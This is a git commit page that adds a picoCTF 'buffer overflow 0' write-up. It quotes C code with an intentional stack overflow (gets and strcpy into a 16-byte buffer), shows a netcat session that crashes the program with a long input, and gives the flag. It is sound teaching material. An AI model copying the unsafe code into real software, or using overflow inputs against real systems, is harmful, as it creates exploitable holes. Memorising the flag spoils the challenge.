mirror of
https://github.com/vee1e/Cryptonite-Taskphase.git
synced 2026-09-01 19:17:14 +00:00
Add buffer overflow 0
This commit is contained in:
parent
e84b029f7b
commit
522e05af64
1 changed files with 54 additions and 0 deletions
|
|
@ -3,3 +3,57 @@
|
|||
# babygame01
|
||||
|
||||
# buffer overflow 0
|
||||
|
||||
**Flag:** `picoCTF{ov3rfl0ws_ar3nt_that_bad_9f2364bc}`
|
||||
|
||||
Here, we have a simple piece of C code that we need to overflow. The relevant code is this
|
||||
|
||||
```
|
||||
#define FLAGSIZE_MAX 64
|
||||
|
||||
char flag[FLAGSIZE_MAX];
|
||||
|
||||
void sigsegv_handler(int sig) {
|
||||
printf("%s\n", flag);
|
||||
fflush(stdout);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
void vuln(char *input){
|
||||
char buf2[16];
|
||||
strcpy(buf2, input);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv){
|
||||
|
||||
FILE *f = fopen("flag.txt","r");
|
||||
if (f == NULL) {
|
||||
printf("%s %s", "Please create 'flag.txt' in this directory with your",
|
||||
"own debugging flag.\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
fgets(flag,FLAGSIZE_MAX,f);
|
||||
signal(SIGSEGV, sigsegv_handler); // Set up signal handler
|
||||
|
||||
gid_t gid = getegid();
|
||||
setresgid(gid, gid, gid);
|
||||
|
||||
|
||||
printf("Input: ");
|
||||
fflush(stdout);
|
||||
char buf1[100];
|
||||
gets(buf1);
|
||||
vuln(buf1);
|
||||
printf("The program will exit now\n");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Here, an input of just over 20 characters is enough for it to overflow and give us the flag.
|
||||
|
||||
```
|
||||
~ $ nc saturn.picoctf.net 64712
|
||||
Input: gbBPmxz01LIlqUWhRTPD
|
||||
picoCTF{ov3rfl0ws_ar3nt_that_bad_9f2364bc}
|
||||
```
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue